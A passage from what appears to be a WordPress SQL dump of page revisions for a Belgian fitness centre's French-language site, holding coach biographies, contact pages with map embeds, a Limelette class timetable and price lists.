cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-402\&quot; alt=\&quot;julie_rogge_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALLUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2014-01-20 20:40:16', '2014-01-20 20:40:16', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(475, 1, '2015-04-21 09:03:59', '2015-04-21 09:03:59', '&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes réservations de Team Training se font en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\nLes séances de Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2015-04-21 09:03:59', '2015-04-21 09:03:59', '', 9, 'http://www.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0),
(425, 1, '2014-02-09 20:26:13', '2014-02-09 20:26:13', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes réservations de Team Training se font en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\nLes séances de Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2014-02-09 20:26:13', '2014-02-09 20:26:13', '', 9, 'http://www.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0),
(426, 1, '2014-02-09 20:29:50', '2014-02-09 20:29:50', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;br&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2014-02-09 20:29:50', '2014-02-09 20:29:50', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(427, 1, '2014-02-09 20:31:03', '2014-02-09 20:31:03', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td 